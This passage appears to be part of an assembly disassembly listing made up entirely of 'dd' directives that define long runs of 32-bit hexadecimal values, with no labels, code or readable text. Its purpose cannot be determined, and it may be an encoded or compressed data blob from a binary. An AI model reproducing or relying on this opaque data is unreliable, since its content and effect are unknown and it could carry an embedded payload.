		dd 0D0661E9Dh, 3808E028h, 582C4448h, 36E4805Ch,	21FCBCCh
		dd 73E28758h, 9840682Bh, 0A020BDEh, 49D71308h, 0C40407Dh
		dd 4F886B2h, 0E780F4BBh, 2FB1D850h, 532D0098h, 57AFA2A4h
		dd 0D100DE36h, 0D40571F0h, 0C7145F21h, 6E4DEE81h, 65AA6860h
		dd 492E319Dh, 3614CC63h, 2B09838Ch, 0D575B8F6h,	990700BAh
		dd 0C566ACEEh, 0C10F80FDh, 2385AE20h, 4804EB1Fh, 0DD2654A0h
		dd 36EC06DDh, 0F9004994h, 0CC9BAB8Ch, 0F60F5C78h, 75B3486Dh
		dd 35438501h, 40104730h, 39941D8h, 0A745E8C2h, 98088125h
		dd 36F5B8E5h, 0CD9EF180h, 0EF7AB08Bh, 67DC7024h, 0C74D370Fh
		dd 0E953DE18h, 835000D3h, 0A06D4976h, 0A31E73F5h, 2F43DDAFh
		dd 14725DA7h, 1403DE11h, 0CC48184Ch, 32261DC4h,	0F20C435h
		dd 2AEE10DEh, 4084B820h, 6600ECD8h, 0F976E824h,	1F90EF6Eh
		dd 3B563CEh, 0D68C6FA6h, 98CC12B0h, 1008F55Ch, 0DC8209BFh
		dd 98E0D35Ah, 0B6E82819h, 0BBFAE8h, 0FB408707h,	0E0116000h
		dd 0BD2E044Dh, 87E579B0h, 0BE806184h, 4A86E84Bh, 3EA61912h
		dd 0BFE50C20h, 32F400D3h, 57A8C44Eh, 5500D668h,	0B3386A08h
		dd 445A4Ch, 0B6A2E9E3h,	0BEC4D8DFh, 2264FC4Ch, 3445585Eh
		dd 0E8A5CC00h, 9C99A062h, 3BF44050h, 0BE389D02h, 0C28370D6h
		dd 30A4E67Ch, 1F2837A6h, 0F531B48Eh, 79731951h,	189A30h
		dd 0AD41618Ch, 0BD591187h, 28F8F977h, 0C1C43BFCh, 0DCB28B32h
		dd 0EBB8D107h, 0C0187BDEh, 0D542584Bh, 0E5124E21h, 8C410CCBh
		dd 88481060h, 61C03958h, 0A6D143A0h, 6750046h, 8757902Dh
		dd 7601EECCh, 8BD445FEh, 418851E1h, 24259D43h, 0F9403AB8h
		dd 26B5E3E4h, 0C28144Ah, 0E05B5C1Fh, 409D0B2h, 0B5409E48h
		dd 0C5EEC099h, 4A0A3300h, 5F47243Ch, 1029E566h,	93302701h
		dd 7310B202h, 32887B18h, 57CB989h, 8CE519BDh, 0CB282CF0h
		dd 1200E8B2h, 0BE23278Bh, 50D00F40h, 88306897h,	8004241h
		dd 0D6DFFB22h, 1634F92h, 0E7AF8A71h, 714A5D98h,	0BDFC1C28h
		dd 41380330h, 3DC70256h, 0B11A521Ah, 24426875h,	10555CC1h
		dd 1CD2E506h, 0B3576393h, 0C5C0EB10h, 58318756h, 75D4F10Ch
		dd 0DBC06CD5h, 7A07722h, 9E46BC6Ah, 0E5A110ECh,	0A61B95DDh
		dd 0C4305C72h, 0C8031480h, 0A08F00E2h, 1B84F44Bh, 5D0C5EBDh
		dd 11F5E3A7h, 143950DEh, 909958h, 0CAA42FFFh, 0BA0CE96Bh
		dd 0B15F5154h, 433D2A76h, 33D20060h, 38C36823h,	362CA6E1h
		dd 594560F3h, 76CAD820h, 0F1D10552h, 4C201A28h,	0FC564890h
		dd 0BD7F2600h, 751F11D6h
		dd 2C08EC27h, 0CB74E779h, 1CBE4C99h, 79010222h,	407A2ACFh
		dd 7103A873h, 71FEC42h,	0C836BD11h, 0BD0858h, 311786ABh
		dd 48CAB394h, 84431DE0h, 4CD10A00h, 3ACC5686h, 68257700h
		dd 1E92CEB5h, 9D260F3Ch, 0C4A0E936h, 0E7F7315Dh, 5000E4F4h
		dd 0C9E43BAh, 77D3EC1Dh, 39DD0298h, 61A6AF8Fh, 3F3EEC98h
		dd 6C833D00h, 0D85C80CAh, 6FE03BE9h, 32EF0BF9h,	8091528Ah
		dd 4482119Fh, 0F46B7AC4h, 1D9805E4h, 0D25919BBh, 68212F7Ch
		dd 0A1E03191h, 87A400E8h, 77858A80h, 0BE0B86EEh, 91FEB9h
		dd 5F3C4578h, 8CC9413h,	1E44509Ch, 50E02922h, 0B311A8B2h
		dd 3F2E6457h, 787F40F0h, 0E1000BC6h, 850DCECBh,	1F4E71Ah
		dd 73A6FF86h, 70AEF502h, 0D60A194Ch, 0F0A0BD39h, 37A010E7h
		dd 48B52D4Ah, 58869485h, 0CB802138h, 0DF00FF26h, 0C2492BB2h
		dd 16D6214h, 0BE5F4488h, 23752E99h, 0F887684h, 0B19D62D7h
		dd 40E6B999h, 8AD7CA0h,	20B31900h, 4FEF6D43h, 8245006Eh
		dd 0BC7EEDA0h, 9890076Ch, 35377CF8h, 0B4204961h, 0D59DFFh
		dd 0ECAA7D3Fh, 0ADB2B3C1h, 50EAE00Eh, 99BA23E7h, 2B60FFC8h
		dd 5DCE2Eh, 1AA06532h, 1F64353Ch, 4E557605h, 5048D40Fh
		dd 361041BFh, 861981B9h, 1A2B5F32h, 0D1B65280h,	3DD1F16h
		dd 26B41303h, 0E021E0E7h, 948832C9h, 903696C0h,	0B994E488h
		dd 47B16F00h, 38CD2C45h, 3A908Eh, 2BFA6733h, 2DAE3D62h
		dd 0E97F702h, 0C0EDBAA1h, 0F67AA0ACh, 74470C57h, 0D650B003h
		dd 5E057209h, 7E54405Fh, 60425C37h, 0AE8A3902h,	3860CD31h
		dd 4311CEBCh, 0BD3476C5h, 4C8411h, 0DA802D14h, 380A2437h
		dd 80BD9957h, 591A4562h, 0D4253C70h, 2A4B0438h,	3C581C08h
		dd 0B927803Eh, 5EF3EB6Ah, 3F58377Ch, 314E05CDh,	70A4788Ah
		dd 0CF6486Ch, 40530519h, 0C01C6887h, 7CC3E928h,	85E2412Fh
		dd 3883DB58h, 508B76C2h, 79D80178h, 0BFA83C29h,	43903h
		dd 0BE67067Dh, 4B282F1h, 794940C8h, 2FD4F425h, 7033008Ch
		dd 61780D24h, 0E900796Dh, 7B5E18DCh, 1C54D2h, 0A45D20FAh
		dd 368A2843h, 9F00A576h, 0CC7537AAh, 0F6675CB5h, 3CE7264h
		dd 773E8ADDh, 81D89AD9h, 212CD60Ch, 0CA00C648h,	0DBA41134h
		dd 0DD850210h, 161ED10Bh, 0D59C5861h, 7678205Ch, 0C55AF1F4h
		dd 11803C10h, 581514E7h, 0D700CC0Dh, 7E90DA23h,	3700CAE1h
		dd 5C719FFFh, 380ADF93h, 4F000FDCh, 86F31947h, 0EA245EDBh
		dd 0A813E8D3h, 30B2E032h, 0AD1DF97Bh, 1905741Eh, 0E0C803CCh
		dd 8A800B4h, 16AE454Dh,	98006778h, 12969D74h, 42B6D84h
		dd 31263A21h, 0BD04F48Bh, 4DEA9516h, 7B58C405h,	7D2B3180h
		dd 0E93500DDh, 0DBD04A41h, 7C098053h, 6B06CD40h, 0F850A1B8h
		dd 0FE08A0D6h, 1CD5482h, 0EBB67C48h, 80D1BDF0h,	6ABEE660h
		dd 0F3D90C59h, 58863186h, 0DA01D903h, 73A0841Bh, 74F81934h
		dd 472F277Fh, 8761D410h, 262B0E00h, 0B5FB969Ch,	0ED7609A7h
		dd 0A007C98Ch, 0B833A003h, 78944ED6h, 903C4662h, 77D5A90h
		dd 755E116h, 2639004Fh,	0A9006EB5h, 44C4AB24h, 10AAD5A6h
		dd 15EB858h, 5AE3A0E4h,	0C473108Ah, 0D0095204h,	0DDD50F6Ah
		dd 0E4080024h, 92179F27h, 5668D035h, 0D48EBB2h,	81D80025h
		dd 0F5AA84A1h, 120EFA8Dh, 60471315h, 0A895E794h, 1CCE6000h
		dd 56EBBCB6h, 0FFA50204h, 0EF6E109Bh, 0EDE808E4h, 21ECAB14h
		dd 5B420208h, 85C54F8Ch, 0C003FE8h, 4626F7D6h, 52781850h
		dd 0F9F1B0A8h, 0BEBD7D06h, 9628D85Eh, 4EF0A4Ch,	0A543021Ch
		dd 6844BD95h, 9200CCB9h, 26943F0Bh, 139C0009h, 74B80520h
		dd 1503D6ABh, 83ADD19h,	5C80AD1Eh, 3E031C7Eh, 18839C25h
		dd 28A5EBB8h, 930C80E7h, 0CB09E3A1h, 8473C81Eh,	32443A24h
		dd 3C2CB280h, 0A59C27FDh, 84B4361Ch, 0E66000EBh, 550A9863h
		dd 0F52E8C68h, 0B6032056h, 0EAD78E0Bh, 0B7948613h, 7B200111h
		dd 6DD833A2h, 597C74BDh, 8E94211h, 0CF14B500h, 0DE057641h
		dd 7DD43D48h, 25AD4706h, 2D08E674h, 0F8A05887h,	3F9210B0h
		dd 710DBF00h, 4395E13Ch, 0BD1E0099h, 0EE5F312Ah, 2308408Bh
		dd 0B10D1A2Fh, 0FD20D360h, 0CE49803Ah, 47255A95h, 5EDA00A2h
		dd 0BACABDFEh, 0C91E64C2h, 962722AEh, 707C586Ch, 36EF0C03h
		dd 4B91419Ch, 28D3714Ah, 778B8188h, 11825952h, 38BD505Eh
		dd 19002CEEh, 0A27E2905h, 0C02768h, 76574017h, 0CFE75E52h
		dd 564D6209h, 0CE06804Eh, 3CA54ABEh, 342FE68Bh,	69B118A0h
		dd 0B300D8D6h, 0AC49BFD3h, 130F95E9h, 7F6A58h, 400CC60Ch
		dd 0CD2AD984h, 510BC060h, 988B3242h, 8B20E5A8h,	715F77B0h
		dd 1C22DB4Eh, 0C836255Ah, 6400B508h, 0C1469A7Dh, 0E890BFD4h
		dd 96141FD0h, 0AF24A4A5h, 92C84090h, 0B3403116h, 0A9083601h
		dd 3F3061D8h, 0E84202F1h, 436DDDE4h, 1D3F4840h,	64D12D80h
		dd 43D5501Bh, 2498DD0Fh, 40B83F81h, 917C2F08h, 86326E3Eh
		dd 13D08851h, 0E5A14438h, 6C814503h, 0E3997A1Fh, 7C191DC3h
		dd 0E552C01Eh, 155FE74Dh, 0A30BD717h, 936F6400h, 65E3281Fh
		dd 0E45869D9h, 0AA03F26Ch, 117677B7h, 0D609F0E2h, 52052992h
		dd 345E0194h, 2BA30ABEh, 83B98420h, 84934CC0h, 368BF800h
		dd 0BF3809D0h, 42C18201h, 3707FADBh, 199E40C2h,	44849534h
		dd 0D1015E26h, 38A595FDh, 72356042h, 5B32020Ch,	408F39C7h
		dd 318877C0h, 0F43E7F01h, 0D6D3F285h, 2F9AE30h,	0A3C3A122h
		dd 4061BE8Bh, 0C8DC39D5h, 0D0C932A0h, 3370B861h, 0E4B200B0h
		dd 2065864Eh, 25B40073h, 47991B60h, 0E848E17Fh,	214964F4h
		dd 28892085h, 0D2DC072Ah, 21016660h, 4DABA000h,	433ECE55h
		dd 49EF24Eh, 357D6233h,	994891DBh, 28202BA7h, 3405F4Eh
		dd 31553B9Ch, 0A9182C9Dh, 0DA16035h, 4293FEAh, 0A97D4F83h
		dd 0D0E622EFh, 0A2F59F18h, 4E972588h, 4AD82032h, 0DA067C17h
		dd 0B403BED1h, 803891C1h, 3A130407h, 0AA14E718h, 9848A11h
		dd 49B43ED8h, 0B8701DBCh, 242209D4h, 9C44AC0Fh,	2C33A65Bh
		dd 86190080h, 412EDBEEh, 0A0987609h, 0BEC49E02h, 0F25E4A33h
		dd 0D3A702ACh, 0DC361043h, 38A02882h, 28F523h, 45411D29h
		dd 957691Eh, 50825A00h,	9CA84CB6h, 4F74253Fh, 5300F046h
		dd 0CE204746h, 0C6E76Ch, 0FB2C869h, 65D3149Dh, 2748AE0Eh
		dd 31DEE0C5h, 72B82539h, 0A3450078h, 7740A186h,	0CE02E280h
		dd 29568407h, 7235h, 0D288DB6Dh, 664C65B2h, 3DB31D08h
		dd 0DA19016Bh, 39893123h, 58283904h, 82859DE4h,	34E0C40Ah
		dd 118BC2Fh, 0DEF7B8D1h, 0FEA6085Dh, 6DE12558h,	0CBC38C1h
		dd 6FEC05h, 0EFD4562Bh,	0AEE96867h, 5CDEC204h, 5AC0C116h
		dd 9361AA0h, 55610AB0h,	0CA9B082h, 1E5080F5h, 0EDC253Fh
		dd 0D8D2677Ah, 8227FA2h, 4A1E90C5h, 0D4905FD3h,	9F6C1Ah
		dd 0D1E54E03h, 2B98C5BCh, 871FDA00h, 1E764B80h,	0E7471h
		dd 0A05B275h, 0C4DBC8B7h, 6B0967E8h, 5AE128B3h,	7C41024Ch
		dd 4B6D8BBDh, 11F08861h, 14698E32h, 0EF80BD00h,	0E8814733h
		dd 87799305h, 48F0A1D9h, 42691495h, 313083B9h, 77D6B796h
		dd 1F0C5A00h, 57C72F4h,	0C0C450DAh, 0FC598A34h,	5CC2B400h
		dd 3C2617B1h, 5778822h,	80553102h, 53A08C1Ch, 2BF03E00h
		dd 0D67CBB67h, 0E84EEDCh, 69014918h, 29DDEBA0h,	0D9300FD0h
		dd 0BE86E139h, 59D31F4Bh, 0C365347h, 0F5517CD4h, 780FE891h
		dd 9C6E016Ah, 6F304A1Eh
		dd 0E62B0096h, 88313D81h, 84A86790h, 7D1938FBh,	9C182480h
		dd 31D2810h, 81801395h,	9C225F52h, 244C0400h, 0B5FFF2C0h
		dd 0B6FE7A00h, 2D32B7D6h, 8861133Ch, 0D0A40429h, 0CB8C2ECh
		dd 6BD20F21h, 18602A12h, 323A4058h, 0E43C5088h,	19E43F56h
		dd 2111B395h, 225CA890h, 6B461430h, 0C91090C6h,	90C84A26h
		dd 0EEAA0045h, 9AFB3097h, 38035E4Bh, 7901E858h,	4F8112A8h
		dd 0D8A80829h, 0A195368Ch, 0AA460078h, 0ADF6B077h, 6C00C627h
		dd 18C468CEh, 71743409h, 651C30FBh, 83566731h, 4E1D5427h
		dd 40489E80h, 108D2360h, 5B13B403h, 0B9CF05BBh,	80ED5A76h
		dd 0EE7F27D0h, 0A377002Fh, 1D94FFE6h, 5C033B05h, 0EAE16532h
		dd 0ECE7E059h, 46CBA7Dh, 9A5BF3B6h, 7E28C0A0h, 0BCA1CEDAh
		dd 5DF801FDh, 1298D111h, 0E4844386h, 40D8CC53h,	0A302F925h
		dd 88A0D390h, 0E1779h, 4CEC727h, 0AAF1638Dh, 0D7457126h
		dd 7D293930h, 49604434h, 4D5ADC0Bh, 0E8808261h,	0E28C46C9h
		dd 0BE4B03B7h, 8D2CECDEh, 0D8543391h, 0C690E2D1h, 0C660954Ch
		dd 161323Fh, 87158514h,	0FC532AB0h, 0F8011A26h,	457B73B3h
		dd 8A428318h, 8090D18Ch, 0E8D9ECAFh, 9A004943h,	920B6C52h
		dd 230DAABh, 0BF407821h, 6C5E0891h, 205E2064h, 6A40F4B4h
		dd 2424374h, 94DAE761h,	5C56F5E6h, 44FA4880h, 887D4Ch
		dd 0E8D63C0Bh, 0FEECF952h, 0E50A1B09h, 21C096CDh, 0E30E59EFh
		dd 10368B25h, 3E1E4284h, 5C3CC7A0h, 50967774h, 4C4D8h
		dd 77CE5198h, 0C9CB7F52h, 3C0130B0h, 2AB9A4B2h,	0B8914C97h
		dd 0CD8E003Ah, 1E89DF5Bh, 0BCE712D6h, 0FA64A0B0h, 0F8E92802h
		dd 209F36C5h, 84D5E2C1h, 8313F671h, 20B08BEDh, 340B9CEh
		dd 963554BFh, 0C3B13100h, 0FD403845h, 0E29300EEh, 3831050h
		dd 0BD3D5A0Ch, 0FCB0AAD1h, 1A3F1D13h, 8920CE2h,	3F939508h
		dd 0B815F4D0h, 0E50D00EEh, 4F6E4C9Eh, 5E00DE07h, 0CC8EC2A2h
		dd 24028140h, 2F143134h, 0CDF5010h, 0C6EF9B01h,	3203F149h
		dd 39476510h, 24B3CE1Dh, 0C6D74D80h, 389DB55h, 9F2B728Ah
		dd 0E3EF9CA3h, 0E8F879A8h, 7D007611h, 0CC151D6Eh, 0B492029h
		dd 7989E318h, 0FF0BC409h, 0C1102400h, 0A509E880h, 711C8BCDh
		dd 2AE6074Ch, 3680E9BCh, 41A36504h, 50A14D01h, 54DBA4A2h
		dd 3FA805D0h, 698E615Ah, 0F27B8Bh, 7534CA69h, 38BAD547h
		dd 0F056209h, 2E9C90DBh, 0CC7C171Dh, 91C40EB6h,	2620216h
		dd 88839DBCh, 70972F2Eh, 7A95F8EBh, 0E0D59426h,	0C6472701h
		dd 0A1E0D91Fh, 517F398Bh, 0B4885B30h, 19C4D85Ah, 0B0E9BA99h
		dd 6A00A853h, 1907466Fh, 6D0E861Eh, 65C5DA5Fh, 0F4CCCB30h
		dd 0DE5C00D0h, 0E286B04Fh, 77000D83h, 0CCEF59EDh, 0A13AA095h
		dd 0E313522Ch, 73FD0EB0h, 44CC2F00h, 6AB5178Bh,	0BA9511E1h
		dd 28804138h, 0D4DCA05Ch, 0D7CC03FAh, 0AA83C804h, 54428990h
		dd 0E43A9509h, 10E0D1C4h, 4EE0DD1Ah, 86D09003h,	0F00023CDh
		dd 6B28E7FFh, 0E85B11A3h, 89680296h, 0D30F8284h, 0FA50407Eh
		dd 375900E0h, 0EE8398ADh, 6200BB24h, 58BF4111h,	26C7727Ch
		dd 1118C085h, 0FD9D0051h, 45BC8E09h, 6E0F0FCEh,	0B5235278h
		dd 58000ACCh, 0BDA8941Fh, 1753DBD4h, 4F8EECh, 7DA48580h
		dd 0B2C00FD1h, 94326063h, 92E49951h, 822CB23Ah,	0A1405258h
		dd 67354C40h, 3FC92E4h,	0EC24DE46h, 56A9E957h, 79ADC87Bh
		dd 2B9030DCh, 0B43EBD12h, 8F161658h, 520018A7h,	7E4EF705h
		dd 0ECE106BDh, 2889C434h, 6BE22818h, 9C4131h, 5F31140Dh
		dd 89BC844Ah, 0E0C5212h, 0AB00C4E3h, 3EAA4FC1h,	0D008E01h
		dd 0F42615D6h, 7CF24EB9h, 0B32E0BD0h, 0FC095758h, 0E3086059h
		dd 0C4B46727h, 723F09A1h, 791401A4h, 0A99B71C7h, 0C5D9D4F7h
		dd 97F69100h, 0EF81053Fh, 0C0B34A8Ch, 9F00A9Ch,	3304A090h
		dd 61128621h, 982218BCh, 0FD03F37Ch, 0F9C2D5FEh, 1E60A725h
		dd 2DD80D4Eh, 544ADD1Ch, 0F0DED499h, 0A100874Ah, 0E295ADEAh
		dd 3865BD44h, 24CC71EBh, 1058E502h, 0CC6316F3h,	559088B4h
		dd 0D8610B00h, 3C7C1174h, 0E673E486h, 0EB521D65h, 0A435138Ch
		dd 48016C98h, 0C6F1E90Eh, 77C0BC57h, 0BE810A37h, 80909C21h
		dd 0F91A4A82h, 48B8B27Dh, 670244h, 0AA27A674h, 1A73D068h
		dd 0A870F0FCh, 107214B2h, 88228429h, 0C31CBD82h, 58597Dh
		dd 37A81B44h, 843B5878h, 11E3896Ch, 0F0802BBh, 0B38898D5h
		dd 0BEAD2481h, 60102F00h, 6B00E97Eh, 0E7C5A218h, 0BCBE46h
		dd 22B86549h, 5AD7A02Fh, 0FC6A1724h, 0C59E6360h, 0DB840098h
		dd 24FFB491h, 7825E469h, 2CCCE419h, 3A9A48E3h, 0D3072902h
		dd 0A760AA31h, 3400E745h, 0F5A04187h, 5C67DE88h, 3172BBC5h
		dd 5E118F52h, 0D3B07057h, 9E492E3Fh, 7212511Fh,	888A7838h
		dd 0ED061791h, 0CAD5795Eh, 0A5100F0h, 0D2160D64h, 7748E3F7h
		dd 81BC06DCh, 3B1861A5h, 0F500594Ch, 8384355Ah,	0E3171FECh
		dd 6800C614h, 0FA53D281h, 0EE572CB2h, 0F78B006Dh, 3C1D4F9Eh
		dd 50AD2607h, 10B0F856h, 58997863h, 720C5447h, 0A408A5Bh
		dd 0CE59B20h, 54BBB31Bh, 0E800A318h, 441658E1h,	2851BCC3h
		dd 0CCA278h, 0C28B1FD2h, 50E9607Ch, 0AB602FEAh,	0B5F2B30h
		dd 0F1610B4Eh, 688CDB54h, 0EB8130E8h, 0C9E910F2h, 43117C44h
		dd 0A83C8C62h, 89C53064h, 0B020F4E9h, 23766580h, 2FE47469h
		dd 0BDC0F8E8h, 0B3F798DDh, 0FA0070E0h, 8826C203h, 7543C4h
		dd 49CC59A8h, 0A561F409h, 0E6BD9B0Eh, 50DE40CEh, 26F922Dh
		dd 28B406Eh, 46091F4h, 1509B466h, 50C0EFD4h, 98213D4Ch
		dd 8376D687h, 0A530C41Dh, 77B16020h, 0D20F9090h, 6127870Fh
		dd 0A3782260h, 3051A070h, 5D208D3Dh, 0CC140AB2h, 0E520EEA4h
		dd 8B20D110h, 401E41h, 0C424B6E8h, 743746B8h, 95700701h
		dd 60A12E04h, 2E780130h, 14CDEDh, 0F40F7B6h, 24A19CD6h
		dd 0E047103Bh, 3020F2Eh, 0BFA0D6C7h, 56AACE4h, 8604189Dh
		dd 0B67E01F4h, 59DECAEBh, 2A346187h, 3674828h, 7F5B9A52h
		dd 75B098B5h, 6008215h,	0D911C1CAh, 4D381A14h, 0BE1208E6h
		dd 0D3100367h, 76C1BF2Dh, 28844274h, 150150F9h,	7CE0101Ah
		dd 3E9D9434h, 17185C63h, 0B6D018AFh, 74817C83h,	9C28B0DFh
		dd 71018008h, 60B8C81Bh, 0A062781Dh, 818799Dh, 0F94421h
		dd 0DD406514h, 837EF30Bh, 396FEA12h, 0F2E70400h, 6C563E3h
		dd 980A1F64h, 0BC0B1807h, 7A35FA21h, 4F460484h,	91E3A24Bh
		dd 9865E738h, 0A4218E08h, 574B0377h, 0C1E94F70h, 7B7D8BF8h
		dd 953F04B0h, 2C0B28D2h, 83EA1F0Ch, 1D1030h, 2049E3E0h
		dd 0FA6F9964h, 0B3876703h, 0C041458Eh, 0C153DAh, 97ECB063h
		dd 0E33B9385h, 0B842022Eh, 6765CC00h, 1538310h,	0DF3FC658h
		dd 0FB75A7BBh, 120A40CFh, 6F006CF7h, 0E82EF33h,	7C2C9299h
		dd 0A37E00E7h, 0E560B46Dh, 5F00C6CCh, 82EC36Bh,	391FFFDDh
		dd 0CF00AF70h, 0B22BD544h, 0A900FC7Bh, 993A3937h, 795A3DCh
		dd 36D0D88h, 0A570A043h, 0EB0077B2h, 83B03772h,	133834h
		dd 0DE4DB44Eh, 50EFA6B3h, 89FC58h, 8EF0BF76h, 1FE4ECA9h
		dd 40B0CF9Ah, 361B5133h, 0D100DE9Fh, 6E604C6Dh,	0C0DABED4h
		dd 30239620h, 76004257h, 0EE9855FBh, 343788h, 0C9EA034Ch
		dd 17656A24h, 0FCC79D1Dh, 6E2F8C00h, 601BCF96h,	41B00886h
		dd 9A005B40h, 8951248h,	3037A405h, 9E20908Ch, 2607547Fh
		dd 68815D8Dh, 0D1E29970h
		dd 34AE0F31h, 0BFE60D5Ah, 50E291D7h, 21D0FF00h,	4C85D95Dh
		dd 7C2603F0h, 0AC2B9A13h, 156C02C7h, 100A78Fh, 46B7F04Fh
		dd 671438h, 88A6036Bh, 2A901F94h, 0FC8480E4h, 17EA00FBh
		dd 8A0FD055h, 4D00B1DBh, 3F5A2D6Eh, 0FE398CFh, 0CC1D5FBEh
		dd 7B6BA661h, 294880C0h, 4AFE633h, 9DA50C2Ah, 0CFA8BE52h
		dd 8313DD02h, 80FAACF3h, 10B7EF8Ch, 0ED3D00F1h,	13FDE97h
		dd 3106CE8Dh, 0ACEB4307h, 0A4E10050h, 8AD8CAC1h, 13015675h
		dd 5C3FD7E3h, 1880C60Bh, 0BC457A41h, 4300D4CFh,	4E93DBD5h
		dd 0C2ABB9h, 5E5C22CAh,	95DCCC3Ch, 7E47348h, 0ECDBA0B1h
		dd 3183A86h, 5BF6591Dh,	0BE1D998h, 65D0E049h, 4700A178h
		dd 0E13041A8h, 1555DAh,	4DC2AADBh, 3D40935Ch, 0D1D5E200h
		dd 0B1781456h, 185BF03Fh, 80C84E08h, 59302C4Bh,	385D18AAh
		dd 40E0609Ch, 1CFFEFCAh, 7D60E97Fh, 915D4568h, 0DCD300ADh
		dd 0ED47E1C3h, 0A0C2256Dh, 0FDD8F057h, 4098BC0Eh, 0B1305D98h
		dd 6B8E5899h, 851A01DEh, 9D2DCAC0h, 47188096h, 0C358C74Ah
		dd 8CF1ED4h, 0B8110A40h, 0EB4B0094h, 0CBF28D5Bh, 0E0F95C39h
		dd 75E91F58h, 8848A079h, 0DDB02270h, 2F40157Ch,	5C931841h
		dd 135FC8C9h, 0B5E8CE62h, 752136A6h, 1F6ACF79h,	0D23200C0h
		dd 5D41D9AEh, 682D9E31h, 0B8501EE9h, 5103F819h,	58A1F858h
		dd 0E918D604h, 7210DF64h, 90C360E8h, 224760E1h,	6823DB00h
		dd 0E9DDB4CDh, 0D072032Ah, 0C11579C2h, 44CC2910h, 0CA03F400h
		dd 9BD4092Ah, 9503617Bh, 109DBE5Eh, 0EDD6902Ch,	824B3FE4h
		dd 6C406000h, 0A404D8E0h, 0B6B02E00h, 78A864FCh, 0DDCE00B7h
		dd 0DB4E3B6Dh, 221E83C5h, 15DD97A4h, 1B6B8440h,	38CFF42Eh
		dd 0A80E339Ch, 0F66650h, 7A47DCB0h, 80003E28h, 0A11ABAC8h
		dd 58EEA226h, 0C6040593h, 0C166ED31h, 0F0924877h, 900EAF91h
		dd 0A082DD67h, 62B45019h, 0DE710095h, 0EB7AAD1Dh, 0CC030F4Ah
		dd 76D74618h, 0DC29E85Ah, 73B00396h, 47EE1A8Fh,	0F5CF4001h
		dd 0C40B6B3Dh, 6DFBAC40h, 349B0767h, 506CB717h,	0EB3F8060h
		dd 2389D400h, 0B32FBD20h, 22740030h, 44C2C84Ah,	7004872h
		dd 0FDB4676Fh, 5ABFD9h,	1F0B58B2h, 460802Ah, 420096F0h
		dd 71B8125Dh, 32476Dh, 61C2F45Bh, 5EA34D1Dh, 6544ED0Eh
		dd 0A897602Fh, 0A7B47Bh, 0C0694718h, 0CC1BCDD4h, 67F93D00h
		dd 7FC51EA2h, 0A000B0A7h, 0F1C304h, 0B4E325BDh,	7B5450F8h
		dd 2136CCA0h, 0E50CC800h, 664512F2h, 376C0057h,	0EBA6203Ch
		dd 0FC0159FEh, 0B4904C87h, 0BEE805B9h, 6A49006Eh, 5E439CA8h
		dd 801A640h, 1219E98h, 3AF8CC26h, 0BC7511h, 0EEBBF20Eh
		dd 1E6C3EADh, 4F029AF0h, 7993C05Ch, 788C6038h, 5886FAAEh
		dd 0B9000ADAh, 5C1EAA9h, 1D1D2D56h, 0D180C30Ah,	0C8B6769h
		dd 0D2830ECAh, 87C12ECCh, 0E06A3C88h, 954D10F7h, 74530EB0h
		dd 3764C046h, 0A31D03h,	0FE5BF43Fh, 82AF5984h, 0E7314301h
		dd 0A5ACC8E9h, 6A2030h,	3B38816Bh, 0F473D81Ah, 75EDDC00h
		dd 0F506087Dh, 1C5C90C1h, 8053CF3Eh, 0E729DD35h, 0E503DAC3h
		dd 11781D82h, 48C0922Fh, 7FBA770h, 995D6C61h, 1201A9D6h
		dd 0DC245AC4h, 0D8016306h, 293E0803h, 0DC20D931h, 16C900CBh
		dd 1A6A8723h, 0DF00F72Fh, 0C30165F3h, 7D1F4607h, 0BC69000Bh
		dd 0E61EEC80h, 0A600677Eh, 591C4F9Bh, 31423Ah, 0C4472E74h
		dd 0EAA55885h, 0B793F80Eh, 8B98E084h, 7590D808h, 49CD1D26h
		dd 0F0C2890Ch, 1C25DF09h, 29E40E81h, 0A68B3400h, 1B24B97Eh
		dd 0E0068F7h, 0F6EFA4E6h, 76177E27h, 0C4FB4872h, 0AF2E5900h
		dd 42D46D15h, 96E00812h, 0C70DC500h, 0CCA83Eh, 87656F72h
		dd 0E4D31320h, 9586B01h, 22D75ADDh, 0C240F8h, 49AFD7Fh
		dd 0E4C7AB27h, 8C6BF430h, 1D8D8Ch, 0E6BDE7E2h, 5DFB0B32h
		dd 1A53D600h, 6BF0C9CDh, 8BC1C02Fh, 5EA21C35h, 7C313000h
		dd 0F8667745h, 15F100E4h, 0E9F25162h, 291FED88h, 3007D41Fh
		dd 9EC05C49h, 0E63175BBh, 19FA1FDEh, 144A6FCh, 7CDB1707h
		dd 0BA14C8F4h, 830C403Fh, 0C39A42E8h, 800D92D3h, 0B7FED49Fh
		dd 0B0010078h, 0D11A48FBh, 0B500A8F4h, 0D473F98h, 0E2ADF267h
		dd 4829059Ah, 0DB025Dh,	7C708FCh, 9B145F65h, 0E806BDh
		dd 37D1C9ABh, 2556EDh, 0C1042161h, 3C8C6FAh, 3D7B4C00h
		dd 73B69A38h, 0A9D23A93h, 7617CA80h, 3197BE32h,	88902001h
		dd 1CCEC05Ah, 0FC6EB5E4h, 8D811D5Eh, 40F4D215h,	0C20B4CCCh
		dd 7F280D53h, 7203F4A0h, 193EA39Bh, 4D05E1D1h, 29E1E4h
		dd 8223B246h, 42EA8FA5h, 0DF0285B8h, 536D97CEh,	74986069h
		dd 0A4EE0C67h, 0AC1015CAh, 0F41CD425h, 2D840EC1h, 41E70F36h
		dd 3A345A60h, 0D23B13A9h, 3FE1ACDCh, 0C6ABEE00h, 521DCC77h
		dd 620EF8EAh, 0A580D9F5h, 0D8861F97h, 20479CA1h, 4F390EC4h
		dd 4A380066h, 0E8B28392h, 2B5A07A4h, 908D86F3h,	0E33A08BFh
		dd 92E5BC0Eh, 0C8801C5Eh, 8BDD18F0h, 454300E4h,	9EBB558Eh
		dd 54003224h, 0C67F753Bh, 2E1E95h, 52307870h, 1B315BA9h
		dd 0DDCB3703h, 0D20C02C1h, 0CAB4C83Ch, 4CBC0B6Eh, 0F8810634h
		dd 30793167h, 18B06BFEh, 2A0097F2h, 0E6CE98D1h,	72FDD3C0h
		dd 322F00B3h, 600C5BDFh, 5C004B6Fh, 1F7B3C70h, 16598C89h
		dd 5DDF1945h, 0C5E9C0ECh, 47B6CC63h, 1870DADEh,	192FA743h
		dd 1168E380h, 0EA92E0FFh, 6C0F3B00h, 94F841D3h,	3C05F051h
		dd 28000DF3h, 0F1271A18h, 0D71C5992h, 5A869B2Eh, 16876D6h
		dd 9F8D6E0Ah, 0BD478F11h, 0CA1C9250h, 0B36AB440h, 0F6C2ABC0h
